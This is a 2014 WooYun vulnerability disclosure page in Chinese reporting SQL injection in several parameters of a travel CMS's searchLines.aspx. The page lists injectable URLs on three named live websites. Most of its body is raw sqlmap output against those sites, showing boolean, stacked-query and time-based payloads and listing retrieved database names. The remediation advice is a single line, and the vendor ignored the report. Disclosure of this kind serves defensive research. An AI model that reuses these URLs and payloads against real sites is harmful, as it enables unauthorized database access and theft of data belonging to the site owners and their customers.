当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070331

漏洞标题:网奇cms旗下某系统同一文件多个参数存在sql注入#3

相关厂商:wangqi.com

漏洞作者: Mosuan

提交时间:2014-08-01 14:44

修复时间:2014-10-27 14:46

公开时间:2014-10-27 14:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-30: 细节向核心白帽子及相关领域专家公开
2014-10-10: 细节向普通白帽子公开
2014-10-20: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 网奇旗下某系统一处sql注入(无限制通杀型,跟上个漏洞不一样的,演示站点KO)#2
这个漏洞中我提到的参数是LName
下面的参数将不一样,而且是多个参数
演示站点

http://www.bjtour.com.cn/searchLines.aspx?LStartDate=1%27
http://www.bjtour.com.cn/searchLines.aspx?sMoney=0&eMoney=100%27
http://www.bjtour.com.cn/searchLines.aspx?days=1%27
http://www.bjtour.com.cn/searchLines.aspx?toAdd=aa%27


拿演示站点举个例子

注入地址:http://www.bjtour.com.cn/searchLines.aspx?LStartDate=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:00:49
[17:00:49] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.bjtour.com.cn\session' as session file
[17:00:49] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from sessio
n file
[17:00:49] [INFO] testing connection to the target url
[17:00:49] [INFO] testing if the url is stable, wait a few seconds
[17:00:51] [INFO] url is stable
[17:00:51] [INFO] testing if GET parameter 'LStartDate' is dynamic
[17:00:51] [INFO] confirming that GET parameter 'LStartDate' is dynamic
[17:00:52] [INFO] GET parameter 'LStartDate' is dynamic
[17:00:52] [INFO] heuristic test shows that GET parameter 'LStartDate' might be
injectable (possible DBMS: Microsoft SQL Server)
[17:00:52] [INFO] testing sql injection on GET parameter 'LStartDate'
[17:00:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:01:03] [INFO] GET parameter 'LStartDate' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:01:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:01:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:01:54] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase sta
cked queries' injectable
[17:01:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:02:20] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase tim
e-based blind' injectable
[17:02:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:02:28] [INFO] target url appears to be UNION injectable with 1 columns
[17:02:29] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'LStartDate' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: LStartDate
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: LStartDate=1' AND 6373=6373 AND 'NtZq'='NtZq
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LStartDate=1'; WAITFOR DELAY '0:0:5';-- AND 'CQQJ'='CQQJ
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LStartDate=1' WAITFOR DELAY '0:0:5'-- AND 'aqWt'='aqWt
---
[17:02:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:02:42] [INFO] fetching database names
[17:02:42] [INFO] fetching number of databases
[17:02:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:02:42] [INFO] retrieved: 8
[17:02:49] [INFO] retrieved: master
[17:03:34] [INFO] retrieved: model
[17:04:22] [INFO] retrieved: msdb
[17:05:04] [INFO] retrieved: ReportServer
[17:07:05] [INFO] retrieved: ReportServerT


注入地址:http://www.lzql.cn/searchLines.aspx?LStartDate=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:03:35
[17:03:36] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.lzql.cn\session' as session file
[17:03:36] [INFO] testing connection to the target url
[17:03:36] [INFO] testing if the url is stable, wait a few seconds
[17:03:38] [INFO] url is stable
[17:03:38] [INFO] testing if GET parameter 'LStartDate' is dynamic
[17:03:38] [WARNING] GET parameter 'LStartDate' appears to be not dynamic
[17:03:39] [INFO] heuristic test shows that GET parameter 'LStartDate' might be
injectable (possible DBMS: Microsoft SQL Server)
[17:03:39] [INFO] testing sql injection on GET parameter 'LStartDate'
[17:03:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:03:46] [INFO] GET parameter 'LStartDate' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:04:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:04:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:04:56] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase sta
cked queries' injectable
[17:04:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:05:20] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase tim
e-based blind' injectable
[17:05:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:05:32] [INFO] target url appears to be UNION injectable with 1 columns
[17:05:33] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'LStartDate' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: LStartDate
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: LStartDate=1' AND 9521=9521 AND 'uPTJ'='uPTJ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LStartDate=1'; WAITFOR DELAY '0:0:5';-- AND 'ZKoL'='ZKoL
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LStartDate=1' WAITFOR DELAY '0:0:5'-- AND 'imlK'='imlK
---
[17:05:36] [INFO] testing Microsoft SQL Server
[17:05:37] [INFO] confirming Microsoft SQL Server
[17:05:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:05:40] [INFO] fetching database names
[17:05:40] [INFO] fetching number of databases
[17:05:40] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:05:40] [INFO] retrieved: 236
[17:06:00] [INFO] retrieved: admin2
[17:06:47] [INFO] retrieved: agency060
[17:07:33] [INFO] retrieved: ahlyf
[17:08:04] [INFO] retrieved: airticketii


注入地址:http://family-zh.com/searchLines.aspx?LStartDate=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:05:32
[17:05:33] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\family-zh.com\session' as session file
[17:05:33] [INFO] testing connection to the target url
[17:05:33] [INFO] testing if the url is stable, wait a few seconds
[17:05:35] [INFO] url is stable
[17:05:35] [INFO] testing if GET parameter 'LStartDate' is dynamic
[17:05:36] [WARNING] GET parameter 'LStartDate' appears to be not dynamic
[17:05:36] [INFO] heuristic test shows that GET parameter 'LStartDate' might be
injectable (possible DBMS: Microsoft SQL Server)
[17:05:36] [INFO] testing sql injection on GET parameter 'LStartDate'
[17:05:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:05:46] [INFO] GET parameter 'LStartDate' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:05:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:05:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:06:10] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase sta
cked queries' injectable
[17:06:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:06:32] [INFO] GET parameter 'LStartDate' is 'Microsoft SQL Server/Sybase tim
e-based blind' injectable
[17:06:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:06:37] [INFO] target url appears to be UNION injectable with 1 columns
[17:06:38] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'LStartDate' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: LStartDate
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: LStartDate=1' AND 4201=4201 AND 'ddxS'='ddxS
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LStartDate=1'; WAITFOR DELAY '0:0:5';-- AND 'xpmO'='xpmO
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LStartDate=1' WAITFOR DELAY '0:0:5'-- AND 'RfCN'='RfCN
---
[17:08:32] [INFO] testing Microsoft SQL Server
[17:08:33] [INFO] confirming Microsoft SQL Server
[17:08:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[17:08:34] [INFO] fetching database names
[17:08:34] [INFO] fetching number of databases
[17:08:34] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:08:34] [INFO] retrieved: 11
[17:08:39] [INFO] retrieved: aaaa

漏洞证明:

详细说明

修复方案:

过滤多个参数排查下。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-27 14:46

厂商回复:

最新状态:

暂无


漏洞评价:

评论